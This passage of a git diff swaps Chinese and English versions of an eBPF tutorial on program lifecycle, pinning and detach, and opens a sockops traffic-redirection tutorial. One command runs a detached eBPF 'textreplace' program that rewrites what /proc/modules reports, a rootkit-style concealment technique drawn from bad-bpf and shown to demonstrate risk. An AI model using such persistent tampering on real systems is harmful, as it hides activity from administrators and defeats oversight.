reference counter to 1. Even if the user space process closes the file descriptors associated with the maps, the maps will not disappear because the program is still "using" them. When the file descriptor of the program is closed and its reference counter reaches zero, the destruction logic decrements the reference counters of all maps used by the program. This allows the same map to be used by multiple programs at once. -然而,不同的附加点的行为不同。一些附加点(如XDP、tc的clsact和基于cgroup的hooks)是全局的,即使没有进程使用它们,程序也会继续处理数据包。另一些附加点(如kprobe、uprobe、tracepoint、perf_event、raw_tracepoint、socket过滤器和so_reuseport挂钩)只在持有事件的进程的生命周期内生效。当这些进程崩溃时,内核将分离BPF程序并减少其引用计数。 +When a program is attached to a hook, its reference counter is incremented. The user space process that created the maps and program can then exit, and the maps and program will remain alive as long as their reference counters are greater than zero. This is the lifecycle of a BPF object. -总结:XDP、tc、lwt和cgroup挂钩是全局的,而kprobe、uprobe、tracepoint、perf_event、raw_tracepoint、socket过滤器和so_reuseport挂钩是本地于进程的。基于文件描述符的API具有自动清理的优点,因此如果用户空间进程出现问题,内核将自动清理所有对象。在网络方面,基于文件描述符的API可以防止程序无限制地运行。 +Not all attachment points are the same. XDP, tc's clsact, and cgroup-based hooks are global, meaning that programs will stay attached to them as long as the corresponding objects are alive. On the other hand, programs attached to kprobe, uprobe, tracepoint, perf_event, raw_tracepoint, socket filters, and so_reuseport hooks are local to the process. If the process crashes or closes the file descriptors associated with these hooks, the kernel will detach the BPF program and decrement its reference counter. -另一种保持 BPF 程序和映射活动的方法是 BPFFS,即BPF文件系统。通过将程序或 maps 固定(pin)到BPFFS中的某个位置,可以增加其引用计数,并使其保持活动状态,即使没有附加到任何位置或任何程序使用固定的BPF程序和 maps 。 +The file descriptor based interface provides auto-cleanup, meaning that if anything goes wrong with the user space process, the kernel will automatically clean up all BPF objects. This interface is useful for networking as well. The use of BPFFS (BPF File System) allows a process to pin a BPF program or map, which increments their reference counters and keeps them alive even if they are not attached or used by any program. This is useful when an admin wants to examine a map even when the associated program is not running. -了解BPF程序和 maps 的生命周期对于用户安全、可靠地使用BPF是非常重要的。文件描述符、引用计数器和 BPFFS 等机制有助于管理BPF对象的生命周期,确保它们的正确创建、附加、分离和替换。 +Detach and replace are important aspects of the lifetime of a BPF program. The detach hook prevents the execution of a previously attached program from any future events, while the replace feature allows a program to be replaced in cgroup-based hooks. There is a window where the old and new programs can be executing on different CPUs, but the kernel guarantees that one of them will be processing events. Some BPF developers use a scheme where the new program is loaded with the same maps as the old program to ensure safe replacement. -### Kubernetes 中的 eBPF:通过远程过程调用(RPC)部署 eBPF 程序 +Overall, understanding the lifetime of BPF programs and maps is crucial for users to use BPF safely and without surprises. The use of file descriptors, reference counters, and BPFFS helps manage the lifecycle of BPF objects, ensuring their proper creation, attachment, detachment, and replacement. -在 Kubernetes 环境中,部署 eBPF 程序通常需要更高级别的系统权限。通常,这些应用程序需要至少 CAP_BPF 权限,根据程序类型的不同,可能还需要其他权限。在多租户的 Kubernetes 环境中,为每个容器或应用程序授予广泛的权限可能带来安全风险。 +### eBPF in Kubernetes: Deploy eBPF Programs via Remote Procedure Call -为了解决权限问题,一种方法是通过固定(pinning)eBPF 映射来减轻权限要求。固定允许 eBPF 对象在创建它们的进程的生命周期之外保持活动状态,以便其他进程可以访问它们。在 Kubernetes 中,不同的容器可能需要与相同的 eBPF 对象进行交互,因此固定对象很有用。 +In a Kubernetes environment, deploying eBPF programs often necessitates a higher level of system privileges. Typically, these applications require at least CAP_BPF permissions, and depending on the program type, they may need even more. This requirement poses a challenge in a multi-tenant Kubernetes environment where granting extensive privileges can be a security risk. -例如,可以使用特权的初始化器容器来创建并固定一个 eBPF 映射。随后的容器(可能以较低权限运行)可以与固定的 eBPF 对象进行交互。这种方法将权限要求限制在初始化阶段,增强了整体安全性。 +#### Using Pin to Mitigate Privilege Requirements -在这种背景下,bpfman 项目发挥了关键作用。bpfman,即 BPF Daemon,旨在以更受控且更安全的方式管理 eBPF 程序和映射的生命周期。它充当用户空间与内核空间之间的中间层,提供加载和管理 eBPF 程序的机制,而无需为每个单独的容器或应用程序授予广泛的权限。 +One way to address the privilege issue is through the use of pinning eBPF maps. Pinning allows eBPF objects to persist beyond the life of the process that created them, making them accessible to other processes. This method can be particularly useful in Kubernetes, where different containers might need to interact with the same eBPF objects. -在 Kubernetes 中,bpfman 可以作为特权服务部署,负责在集群的不同节点上加载和管理 eBPF 程序。它可以处理 eBPF 生命周期管理的复杂性,如加载、卸载、更新 eBPF 程序,并对其状态进行管理。这种集中化的方法简化了在 Kubernetes 集群中部署和管理 eBPF 程序的过程,同时符合安全最佳实践。 +For example, an eBPF map can be created and pinned by a privileged initializer container. Subsequent containers, which may run with fewer privileges, can then interact with the pinned eBPF objects. This approach limits the need for elevated privileges to the initialization phase, thereby enhancing overall security. -## 使用 Detach 在应用程序退出后通过任何程序替换 eBPF +#### The Role of bpfman in eBPF Lifecycle Management -在 libbpf 中,可以使用 `bpf_object__pin_maps` 函数将映射固定到 BPF 对象中。对于程序和链接,也有类似的 API。 +The bpfman project can play a crucial role in this context. bpfman, or BPF Daemon, is designed to manage the lifecycle of eBPF programs and maps in a more controlled and secure manner. It acts as a mediator between user space and kernel space, providing a mechanism to load and manage eBPF programs without granting extensive privileges to each individual container or application. -以下是一个示例,演示如何使用类似于前一节中的 textreplace 程序的字符串替换示例来展示 detach 方法。可以使用类似的代码将程序、映射和链接固定到 BPF 对象中: +In Kubernetes, bpfman could be deployed as a privileged service, responsible for loading and managing eBPF programs across different nodes in the cluster. It can handle the intricacies of eBPF lifecycle management, such as loading, unloading, updating eBPF programs, and managing their state. This centralized approach simplifies the deployment and management of eBPF programs in a Kubernetes cluster, while adhering to security best practices. + +## Use Detach to Replace by Any Program with eBPF After it Exits + +In libbpf, the `bpf_object__pin_maps` function can be used to pin the maps in the BPF object, the programs and links has similar API. + +Here we use similar programs as textreplace in the previous section to demonstrate the detach method, the pin eBPF code is like: ```c + int pin_program(struct bpf_program *prog, const char* path) { int err; @@ -75,43 +82,51 @@ int pin_link(struct bpf_link *link, const char* path) } ``` -## 运行示例 +## Running + +Here, we still use the example of string replacement used in the previous application to demonstrate potential security risks. By using `--detach` to run the program, the user space loader can exit without stopping the eBPF program. -在这个示例中,我们将继续使用前一节中的字符串替换示例来演示在应用程序退出后运行 eBPF 程序的方法,并展示潜在的安全风险。通过使用 `--detach` 参数运行该程序,可以使用户空间加载程序在不停止 eBPF 程序的情况下退出。完整的示例代码可以在 中找到。关于如何安装依赖,请参考: +The code of This example can be found in + +Compilation: + +```bash +make +``` -在运行之前,请确保已经挂载了 BPF 文件系统: +Before running, please make sure that the BPF file system has been mounted: ```bash sudo mount bpffs -t bpf /sys/fs/bpf mkdir /sys/fs/bpf/textreplace ``` -然后,可以使用以下命令运行带有 detach 参数的 text-replace2 程序: +Then, you can run text-replace2 with detach: ```bash ./textreplace2 -f /proc/modules -i 'joydev' -r 'cryptd' -d ``` -这将在 `/sys/fs/bpf/textreplace` 目录下创建一些 eBPF 链接文件。加载程序成功运行后,可以使用以下命令检查日志: +This will create some eBPF link files under `/sys/fs/bpf/textreplace`. Once the loader is successfully running, you can check the log by running the following command: ```bash sudo cat /sys/kernel/debug/tracing/trace_pipe -# 确认链接文件是否存在 +# Confirm that the link files exist sudo ls -l /sys/fs/bpf/textreplace ``` -最后,要停止程序,只需删除链接文件: +Finally, to stop, simply delete the link files: ```bash sudo rm -r /sys/fs/bpf/textreplace ``` -## 参考资料 +## References -您可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 +You can visit our tutorial code repository [at https://github.com/eunomia-bpf/bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) or our website [at https://eunomia.dev/zh/tutorials/](https://eunomia.dev/zh/tutorials/) for more examples and a complete tutorial. -- [bad-bpf](https://github.com/pathtofile/bad-bpf) -- [Object Lifetime in the Linux kernel](https://facebookmicrosites.github.io/bpf/blog/2018/08/31/object-lifetime.html) -- [BPFMan: A Novel Way to Manage eBPF—Beyond Capsule Mode](https://bpfman.io/main/blog/2023/09/07/bpfman-a-novel-way-to-manage-ebpf) +- +- +- -> 原文地址: +> The original link of this article: diff --git a/src/28-detach/README.zh.md b/src/28-detach/README.zh.md new file mode 100644 index 00000000..a3c21570 --- /dev/null +++ b/src/28-detach/README.zh.md @@ -0,0 +1,117 @@ +# 在应用程序退出后运行 eBPF 程序:eBPF 程序的生命周期 + +eBPF(Extended Berkeley Packet Filter)是 Linux 内核中的一项重大技术创新,允许用户在内核空间中执行自定义程序,而无需修改内核源代码或加载任何内核模块。这为开发人员提供了极大的灵活性,可以观察、修改和控制 Linux 系统。 + +本文将介绍 eBPF 程序的生命周期,以及如何在用户空间应用程序退出后继续运行 eBPF 程序的方法,还将介绍如何使用 "pin" 在不同进程之间共享 eBPF 对象。本文是 eBPF 开发者教程的一部分,更多详细信息可以在 中找到。 + +通过使用 "detach" 方法来运行 eBPF 程序,用户空间加载程序可以在不停止 eBPF 程序的情况下退出。另外,使用 "pin" 的方法可以在进程之间共享 eBPF 对象,使其保持活动状态。 + +## eBPF 程序的生命周期 + +BPF对象(包括程序、映射和调试信息)通过文件描述符(FD)进行访问,并具有引用计数器。每个对象都有一个引用计数器,用于追踪对象被引用的次数。例如,当创建一个映射时,内核会分配一个struct bpf_map对象,并将其引用计数器初始化为1。然后,将映射的文件描述符返回给用户空间进程。如果进程退出或崩溃,文件描述符将被关闭,并且映射的引用计数将减少。当引用计数为零时,内存将被释放。 + +BPF程序使用 maps 有两个阶段。首先,创建 maps 并将其文件描述符存储为BPF_LD_IMM64指令的一部分。当内核验证程序时,它会增加程序使用的 maps 的引用计数,并将程序的引用计数初始化为1。此时,用户空间可以关闭与maps 相关的文件描述符,但 maps 不会被销毁,因为程序仍然在使用它们。当程序文件描述符关闭且引用计数为零时,销毁逻辑将减少 maps 的引用计数。这允许多个不同类型的程序同时使用同一个 maps。 + +当程序附加到一个挂钩时,程序的引用计数增加。用户空间进程创建 maps 和程序,然后加载程序并将其附加到挂钩上后,就可以退出了。此时,由用户空间创建的 maps 和程序将保持活动状态,因为引用计数>0。这就是BPF对象的生命周期。只要BPF对象的引用计数>0,内核将保持其活动状态。 + +然而,不同的附加点的行为不同。一些附加点(如XDP、tc的clsact和基于cgroup的hooks)是全局的,即使没有进程使用它们,程序也会继续处理数据包。另一些附加点(如kprobe、uprobe、tracepoint、perf_event、raw_tracepoint、socket过滤器和so_reuseport挂钩)只在持有事件的进程的生命周期内生效。当这些进程崩溃时,内核将分离BPF程序并减少其引用计数。 + +总结:XDP、tc、lwt和cgroup挂钩是全局的,而kprobe、uprobe、tracepoint、perf_event、raw_tracepoint、socket过滤器和so_reuseport挂钩是本地于进程的。基于文件描述符的API具有自动清理的优点,因此如果用户空间进程出现问题,内核将自动清理所有对象。在网络方面,基于文件描述符的API可以防止程序无限制地运行。 + +另一种保持 BPF 程序和映射活动的方法是 BPFFS,即BPF文件系统。通过将程序或 maps 固定(pin)到BPFFS中的某个位置,可以增加其引用计数,并使其保持活动状态,即使没有附加到任何位置或任何程序使用固定的BPF程序和 maps 。 + +了解BPF程序和 maps 的生命周期对于用户安全、可靠地使用BPF是非常重要的。文件描述符、引用计数器和 BPFFS 等机制有助于管理BPF对象的生命周期,确保它们的正确创建、附加、分离和替换。 + +### Kubernetes 中的 eBPF:通过远程过程调用(RPC)部署 eBPF 程序 + +在 Kubernetes 环境中,部署 eBPF 程序通常需要更高级别的系统权限。通常,这些应用程序需要至少 CAP_BPF 权限,根据程序类型的不同,可能还需要其他权限。在多租户的 Kubernetes 环境中,为每个容器或应用程序授予广泛的权限可能带来安全风险。 + +为了解决权限问题,一种方法是通过固定(pinning)eBPF 映射来减轻权限要求。固定允许 eBPF 对象在创建它们的进程的生命周期之外保持活动状态,以便其他进程可以访问它们。在 Kubernetes 中,不同的容器可能需要与相同的 eBPF 对象进行交互,因此固定对象很有用。 + +例如,可以使用特权的初始化器容器来创建并固定一个 eBPF 映射。随后的容器(可能以较低权限运行)可以与固定的 eBPF 对象进行交互。这种方法将权限要求限制在初始化阶段,增强了整体安全性。 + +在这种背景下,bpfman 项目发挥了关键作用。bpfman,即 BPF Daemon,旨在以更受控且更安全的方式管理 eBPF 程序和映射的生命周期。它充当用户空间与内核空间之间的中间层,提供加载和管理 eBPF 程序的机制,而无需为每个单独的容器或应用程序授予广泛的权限。 + +在 Kubernetes 中,bpfman 可以作为特权服务部署,负责在集群的不同节点上加载和管理 eBPF 程序。它可以处理 eBPF 生命周期管理的复杂性,如加载、卸载、更新 eBPF 程序,并对其状态进行管理。这种集中化的方法简化了在 Kubernetes 集群中部署和管理 eBPF 程序的过程,同时符合安全最佳实践。 + +## 使用 Detach 在应用程序退出后通过任何程序替换 eBPF + +在 libbpf 中,可以使用 `bpf_object__pin_maps` 函数将映射固定到 BPF 对象中。对于程序和链接,也有类似的 API。 + +以下是一个示例,演示如何使用类似于前一节中的 textreplace 程序的字符串替换示例来展示 detach 方法。可以使用类似的代码将程序、映射和链接固定到 BPF 对象中: + +```c +int pin_program(struct bpf_program *prog, const char* path) +{ + int err; + err = bpf_program__pin(prog, path); + if (err) { + fprintf(stdout, "could not pin prog %s: %d\n", path, err); + return err; + } + return err; +} + +int pin_map(struct bpf_map *map, const char* path) +{ + int err; + err = bpf_map__pin(map, path); + if (err) { + fprintf(stdout, "could not pin map %s: %d\n", path, err); + return err; + } + return err; +} + +int pin_link(struct bpf_link *link, const char* path) +{ + int err; + err = bpf_link__pin(link, path); + if (err) { + fprintf(stdout, "could not pin link %s: %d\n", path, err); + return err; + } + return err; +} +``` + +## 运行示例 + +在这个示例中,我们将继续使用前一节中的字符串替换示例来演示在应用程序退出后运行 eBPF 程序的方法,并展示潜在的安全风险。通过使用 `--detach` 参数运行该程序,可以使用户空间加载程序在不停止 eBPF 程序的情况下退出。完整的示例代码可以在 中找到。关于如何安装依赖,请参考: + +在运行之前,请确保已经挂载了 BPF 文件系统: + +```bash +sudo mount bpffs -t bpf /sys/fs/bpf +mkdir /sys/fs/bpf/textreplace +``` + +然后,可以使用以下命令运行带有 detach 参数的 text-replace2 程序: + +```bash +./textreplace2 -f /proc/modules -i 'joydev' -r 'cryptd' -d +``` + +这将在 `/sys/fs/bpf/textreplace` 目录下创建一些 eBPF 链接文件。加载程序成功运行后,可以使用以下命令检查日志: + +```bash +sudo cat /sys/kernel/debug/tracing/trace_pipe +# 确认链接文件是否存在 +sudo ls -l /sys/fs/bpf/textreplace +``` + +最后,要停止程序,只需删除链接文件: + +```bash +sudo rm -r /sys/fs/bpf/textreplace +``` + +## 参考资料 + +您可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 + +- [bad-bpf](https://github.com/pathtofile/bad-bpf) +- [Object Lifetime in the Linux kernel](https://facebookmicrosites.github.io/bpf/blog/2018/08/31/object-lifetime.html) +- [BPFMan: A Novel Way to Manage eBPF—Beyond Capsule Mode](https://bpfman.io/main/blog/2023/09/07/bpfman-a-novel-way-to-manage-ebpf) + +> 原文地址: diff --git a/src/28-detach/README_en.md b/src/28-detach/README_en.md deleted file mode 100644 index 645f798f..00000000 --- a/src/28-detach/README_en.md +++ /dev/null @@ -1,130 +0,0 @@ -# Running eBPF After Application Exits: The Lifecycle of eBPF Programs - -eBPF (Extended Berkeley Packet Filter) is a revolutionary technology in the Linux kernel that allows users to execute custom programs in kernel space without modifying the kernel source code or loading any kernel modules. This provides developers with great flexibility to observe, modify, and control the Linux system. - -This article introduces the Lifecycle of eBPF Programs, how to run eBPF programs after user-space application exits, and how to use pin to share eBPF objects between processes. This article is part of the eBPF Developer Tutorial, more details can be found in and - -By using the detach method to run eBPF programs, the user space loader can exit without stopping the eBPF program. Another common use case for pinning is sharing eBPF objects between processes. For example, one could create a Map from Go, pin it, and inspect it using `bpftool map dump pinned /sys/fs/bpf/my_map`. - -## The Lifecycle of eBPF Programs - -File descriptors and reference counters are used to manage BPF objects (progs, maps, and debug info). When a map is created, the kernel initializes its reference counter to 1 and returns a file descriptor to the user space process. If the process exits or crashes, the file descriptor is closed and the reference counter of the map is decremented. After the RCU grace period, the map is freed from memory. - -BPF programs that use BPF maps are loaded in two phases. The maps are created and their file descriptors are stored in the program's 'imm' field. The kernel increments the reference counters of the maps used by the program and initializes the program's reference counter to 1. Even if the user space process closes the file descriptors associated with the maps, the maps will not disappear because the program is still "using" them. When the file descriptor of the program is closed and its reference counter reaches zero, the destruction logic decrements the reference counters of all maps used by the program. This allows the same map to be used by multiple programs at once. - -When a program is attached to a hook, its reference counter is incremented. The user space process that created the maps and program can then exit, and the maps and program will remain alive as long as their reference counters are greater than zero. This is the lifecycle of a BPF object. - -Not all attachment points are the same. XDP, tc's clsact, and cgroup-based hooks are global, meaning that programs will stay attached to them as long as the corresponding objects are alive. On the other hand, programs attached to kprobe, uprobe, tracepoint, perf_event, raw_tracepoint, socket filters, and so_reuseport hooks are local to the process. If the process crashes or closes the file descriptors associated with these hooks, the kernel will detach the BPF program and decrement its reference counter. - -The file descriptor based interface provides auto-cleanup, meaning that if anything goes wrong with the user space process, the kernel will automatically clean up all BPF objects. This interface is useful for networking as well. The use of BPFFS (BPF File System) allows a process to pin a BPF program or map, which increments their reference counters and keeps them alive even if they are not attached or used by any program. This is useful when an admin wants to examine a map even when the associated program is not running. - -Detach and replace are important aspects of the lifetime of a BPF program. The detach hook prevents the execution of a previously attached program from any future events, while the replace feature allows a program to be replaced in cgroup-based hooks. There is a window where the old and new programs can be executing on different CPUs, but the kernel guarantees that one of them will be processing events. Some BPF developers use a scheme where the new program is loaded with the same maps as the old program to ensure safe replacement. - -Overall, understanding the lifetime of BPF programs and maps is crucial for users to use BPF safely and without surprises. The use of file descriptors, reference counters, and BPFFS helps manage the lifecycle of BPF objects, ensuring their proper creation, attachment, detachment, and replacement. - -### eBPF in Kubernetes: Deploy eBPF Programs via Remote Procedure Call - -In a Kubernetes environment, deploying eBPF programs often necessitates a higher level of system privileges. Typically, these applications require at least CAP_BPF permissions, and depending on the program type, they may need even more. This requirement poses a challenge in a multi-tenant Kubernetes environment where granting extensive privileges can be a security risk. - -#### Using Pin to Mitigate Privilege Requirements - -One way to address the privilege issue is through the use of pinning eBPF maps. Pinning allows eBPF objects to persist beyond the life of the process that created them, making them accessible to other processes. This method can be particularly useful in Kubernetes, where different containers might need to interact with the same eBPF objects. - -For example, an eBPF map can be created and pinned by a privileged initializer container. Subsequent containers, which may run with fewer privileges, can then interact with the pinned eBPF objects. This approach limits the need for elevated privileges to the initialization phase, thereby enhancing overall security. - -#### The Role of bpfman in eBPF Lifecycle Management - -The bpfman project can play a crucial role in this context. bpfman, or BPF Daemon, is designed to manage the lifecycle of eBPF programs and maps in a more controlled and secure manner. It acts as a mediator between user space and kernel space, providing a mechanism to load and manage eBPF programs without granting extensive privileges to each individual container or application. - -In Kubernetes, bpfman could be deployed as a privileged service, responsible for loading and managing eBPF programs across different nodes in the cluster. It can handle the intricacies of eBPF lifecycle management, such as loading, unloading, updating eBPF programs, and managing their state. This centralized approach simplifies the deployment and management of eBPF programs in a Kubernetes cluster, while adhering to security best practices. - -## Use Detach to Replace by Any Program with eBPF After it Exits - -In libbpf, the `bpf_object__pin_maps` function can be used to pin the maps in the BPF object, the programs and links has similar API. - -Here we use similar programs as textreplace in the previous section to demonstrate the detach method, the pin eBPF code is like: - -```c - -int pin_program(struct bpf_program *prog, const char* path) -{ - int err; - err = bpf_program__pin(prog, path); - if (err) { - fprintf(stdout, "could not pin prog %s: %d\n", path, err); - return err; - } - return err; -} - -int pin_map(struct bpf_map *map, const char* path) -{ - int err; - err = bpf_map__pin(map, path); - if (err) { - fprintf(stdout, "could not pin map %s: %d\n", path, err); - return err; - } - return err; -} - -int pin_link(struct bpf_link *link, const char* path) -{ - int err; - err = bpf_link__pin(link, path); - if (err) { - fprintf(stdout, "could not pin link %s: %d\n", path, err); - return err; - } - return err; -} -``` - -## Running - -Here, we still use the example of string replacement used in the previous application to demonstrate potential security risks. By using `--detach` to run the program, the user space loader can exit without stopping the eBPF program. - -The code of This example can be found in - -Compilation: - -```bash -make -``` - -Before running, please make sure that the BPF file system has been mounted: - -```bash -sudo mount bpffs -t bpf /sys/fs/bpf -mkdir /sys/fs/bpf/textreplace -``` - -Then, you can run text-replace2 with detach: - -```bash -./textreplace2 -f /proc/modules -i 'joydev' -r 'cryptd' -d -``` - -This will create some eBPF link files under `/sys/fs/bpf/textreplace`. Once the loader is successfully running, you can check the log by running the following command: - -```bash -sudo cat /sys/kernel/debug/tracing/trace_pipe -# Confirm that the link files exist -sudo ls -l /sys/fs/bpf/textreplace -``` - -Finally, to stop, simply delete the link files: - -```bash -sudo rm -r /sys/fs/bpf/textreplace -``` - -## References - -You can visit our tutorial code repository [at https://github.com/eunomia-bpf/bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) or our website [at https://eunomia.dev/zh/tutorials/](https://eunomia.dev/zh/tutorials/) for more examples and a complete tutorial. - -- -- -- - -> The original link of this article: diff --git a/src/29-sockops/.config b/src/29-sockops/.config new file mode 100644 index 00000000..12323e66 --- /dev/null +++ b/src/29-sockops/.config @@ -0,0 +1,2 @@ +level=Depth +type=Networking diff --git a/src/29-sockops/README.md b/src/29-sockops/README.md index c320e85d..d4d99620 100644 --- a/src/29-sockops/README.md +++ b/src/29-sockops/README.md @@ -1,26 +1,28 @@ -# eBPF 开发实践:使用 sockops 加速网络请求转发 +# eBPF Development Practices: Accelerating Network Request Forwarding with Sockops -eBPF(扩展的伯克利数据包过滤器)是 Linux 内核中的一个强大功能,可以在无需更改内核源代码或重启内核的情况下,运行、加载和更新用户定义的代码。这种功能让 eBPF 在网络和系统性能分析、数据包过滤、安全策略等方面有了广泛的应用。 +eBPF (Extended Berkeley Packet Filter) is a powerful feature in the Linux kernel that allows running, loading, and updating user-defined code without the need to modify the kernel source code or reboot the kernel. This capability makes eBPF widely used in various areas such as network and system performance analysis, packet filtering, security policies, etc. -本教程将关注 eBPF 在网络领域的应用,特别是如何使用 sockops 类型的 eBPF 程序来加速本地网络请求的转发。这种应用通常在使用软件负载均衡器进行请求转发的场景中很有价值,比如使用 Nginx 或 HAProxy 之类的工具。 +This tutorial will focus on the application of eBPF in the networking domain, specifically how to use sockops-type eBPF programs to accelerate the forwarding of local network requests. This application is often valuable in scenarios where software load balancers are used for request forwarding, such as using tools like Nginx or HAProxy. -在许多工作负载中,如微服务架构下的服务间通信,通过本机进行的网络请求的性能开销可能会对整个应用的性能产生显著影响。由于这些请求必须经过本机的网络栈,其处理性能可能会成为瓶颈,尤其是在高并发的场景下。为了解决这个问题,sockops 类型的 eBPF 程序可以用于加速本地的请求转发。sockops 程序可以在内核空间管理套接字,实现在本机上的套接字之间直接转发数据包,从而降低了在 TCP/IP 栈中进行数据包转发所需的 CPU 时间。 +In many workloads, such as inter-service communication in a microservices architecture, the performance overhead of network requests made through the loopback interface can significantly impact the overall application performance. Since these requests have to go through the local network stack, their processing performance can become a bottleneck, especially in high-concurrency scenarios. To address this issue, sockops-type eBPF programs can be used to accelerate local request forwarding, providing functionality similar to direct memory access (DMA). Sockops programs can manage sockets in the kernel space and directly forward packets between sockets on the local machine, reducing the CPU time required for packet forwarding in the TCP/IP stack. -本教程将会通过一个具体的示例演示如何使用 sockops 类型的 eBPF 程序来加速网络请求的转发。为了让你更好地理解如何使用 sockops 程序,我们将逐步介绍示例程序的代码,并讨论每个部分的工作原理。完整的源代码和工程可以在 中找到。 +This tutorial will demonstrate how to use sockops-type eBPF programs to accelerate network request forwarding through a specific example. To help you understand how to use sockops programs, we will step by step introduce the code of the example program and discuss the working principle of each part. -## 利用 eBPF 的 sockops 进行性能优化 +> The complete source code: -网络连接本质上是 socket 之间的通讯,eBPF 提供了一个 [bpf_msg_redirect_hash](https://man7.org/linux/man-pages/man7/bpf-helpers.7.html) 函数,用来将应用发出的包直接转发到对端的 socket,可以极大地加速包在内核中的处理流程。 +## Leveraging eBPF Sockops for Performance Optimization -这里 sock_map 是记录 socket 规则的关键部分,即根据当前的数据包信息,从 sock_map 中挑选一个存在的 socket 连接来转发请求。所以需要先在 sockops 的 hook 处或者其它地方,将 socket 信息保存到 sock_map,并提供一个规则 (一般为四元组) 根据 key 查找到 socket。 +Network connections are essentially communication between sockets, and eBPF provides a `bpf_msg_redirect_hash` function that allows packets sent by an application to be directly forwarded to the corresponding socket on the recipient side, greatly accelerating the packet processing flow in the kernel. -Merbridge 项目就是这样实现了用 eBPF 代替 iptables 为 Istio 进行加速。在使用 Merbridge (eBPF) 优化之后,出入口流量会直接跳过很多内核模块,明显提高性能,如下图所示: +Here, the `sock_map` is a key component that stores socket rules, i.e., it selects an existing socket connection from the `sock_map` based on the current packet information. Therefore, it is necessary to save the socket information to the `sock_map` at the hook of the sockops or elsewhere and provide a rule (usually a four-tuple) to find the socket based on the key. + +The Merbridge project has achieved acceleration for Istio by replacing iptables with eBPF. After using Merbridge (eBPF) optimization, the inbound and outbound traffic bypasses many kernel modules, significantly improving performance, as shown in the following diagram: ![merbridge](merbridge.png) -## 示例程序 +## Example Program -此示例程序从发送者的套接字(出口)重定向流量至接收者的套接字(入口),**跳过 TCP/IP 内核网络栈**。在这个示例中,我们假定发送者和接收者都在**同一台**机器上运行。这个示例程序有两个部分,它们共享一个 map 定义: +This example program redirects traffic from the sender’s socket (outgoing) to the recipient’s socket (incoming), bypassing the TCP/IP kernel network stack. In this example, we assume that the sender and recipient are both running on the **same** machine. This example program has two parts that share a map definition: bpf_sockmap.h @@ -47,19 +49,19 @@ struct { } sock_ops_map SEC(".maps"); ``` -这个示例程序中的 BPF 程序被分为两个部分 `bpf_redirect.bpf.c` 和 `bpf_contrack.bpf.c`。 +The BPF program in this example is divided into two parts: `bpf_redirect.bpf.c` and `bpf_contrack.bpf.c`. -- `bpf_contrack.bpf.c` 中的 BPF 代码定义了一个套接字操作(`sockops`)程序,它的功能主要是当本机(使用 localhost)上的任意 TCP 连接被创建时,根据这个新连接的五元组(源地址,目标地址,源端口,目标端口,协议),在 `sock_ops_map` 这个 BPF MAP 中创建一个条目。这个 BPF MAP 被定义为 `BPF_MAP_TYPE_SOCKHASH` 类型,可以存储套接字和对应的五元组。这样使得每当本地 TCP 连接被创建的时候,这个连接的五元组信息也能够在 BPF MAP 中找到。 +- The BPF code in `bpf_contrack.bpf.c` defines a socket operation (`sockops`) program, whose main function is to create an entry in the `sock_ops_map` BPF map in which it stores the five-tuple (source address, destination address, source port, destination port, protocol) for each new TCP connection established on the local machine (using localhost). This BPF map is defined as type `BPF_MAP_TYPE_SOCKHASH` and can store sockets and their corresponding five-tuple. This allows the five-tuple information of each local TCP connection to be found in the BPF map whenever the connection is created. -- `bpf_redirect.bpf.c` 中的 BPF 代码定义了一个网络消息 (sk_msg) 处理程序,当本地套接字上有消息到达时会调用这个程序。然后这个 sk_msg 程序检查该消息是否来自本地地址,如果是,根据获取的五元组信息(源地址,目标地址,源端口,目标端口,协议)在 `sock_ops_map` 查找相应的套接字,并将该消息重定向到在 `sock_ops_map` 中找到的套接字上,这样就实现了绕过内核网络栈。 +- The BPF code in `bpf_redirect.bpf.c` defines a sk_msg handler that is called when a message arrives on a local socket. The sk_msg program checks if the message is from a local address, and if so, it retrieves the five-tuple (source address, destination address, source port, destination port, protocol) from the message and looks up the corresponding socket in the `sock_ops_map` using the obtained key. Then, it redirects the message to the socket found in the `sock_ops_map`, thus bypassing the kernel network stack and directly delivering the message from the sender's socket to the receiver's socket. -举个例子,我们假设有两个进程在本地运行,进程 A 绑定在 8000 端口上,进程 B 绑定在 9000 端口上,进程 A 向进程 B 发送消息。 +For example, let's assume that there are two processes running locally, process A binds to port 8000, and process B binds to port 9000. Process A sends a message to process B. -1. 当进程 A 首次和进程 B 建立 TCP 连接时,触发 `bpf_contrack.bpf.c` 中的 `sockops` 程序,这个程序将五元组 `{127.0.0.1, 127.0.0.1, 8000, 9000, TCP}` 存入 `sock_ops_map`,值为进程 A 的套接字。 +1. When the TCP connection is first established between process A and process B, the `sockops` program in `bpf_contrack.bpf.c` is triggered, and it creates an entry in the `sock_ops_map` BPF map for the five-tuple `{127.0.0.1, 127.0.0.1, 8000, 9000, TCP}`, with the value being the socket of process A. -2. 当进程 A 发送消息时,触发 `bpf_redirect.bpf.c` 中的 `sk_msg` 程序,然后 `sk_msg` 程序将消息从进程 A 的套接字重定向到 `sock_ops_map` 中存储的套接字(进程 A 的套接字)上,因此,消息被直接从进程 A 输送到进程 B,绕过了内核网络栈。 +2. When process A sends a message, the `sk_msg` program in `bpf_redirect.bpf.c` is triggered, and it redirects the message from process A's socket to the socket stored in the `sock_ops_map` based on the obtained five-tuple information (source address, destination address, source port, destination port, protocol). As a result, the message is directly delivered from process A to process B, bypassing the kernel network stack. -这个示例程序就是通过 BPF 实现了在本地通信时,快速将消息从发送者的套接字重定向到接收者的套接字,从而绕过了内核网络栈,以提高传输效率。 +This example program uses BPF to efficiently redirect messages from the sender's socket to the recipient's socket during local communication, bypassing the kernel network stack to improve transmission efficiency. bpf_redirect.bpf.c @@ -96,9 +98,9 @@ SEC("sockops") int bpf_sockops_handler(struct bpf_sock_ops *skops){ u32 family, op; - family = skops->family; - op = skops->op; - if (op != BPF_SOCK_OPS_PASSIVE_ESTABLISHED_CB + family = skops->family; + op = skops->op; + if (op != BPF_SOCK_OPS_PASSIVE_ESTABLISHED_CB && op != BPF_SOCK_OPS_ACTIVE_ESTABLISHED_CB) { return BPF_OK; } @@ -107,7 +109,7 @@ int bpf_sockops_handler(struct bpf_sock_ops *skops){ return BPF_OK; } - struct sock_key key = { + struct sock_key key = { .dip = skops->remote_ip4, .sip = skops->local_ip4, .sport = bpf_htonl(skops->local_port), /* convert to network byte order */ @@ -115,31 +117,31 @@ int 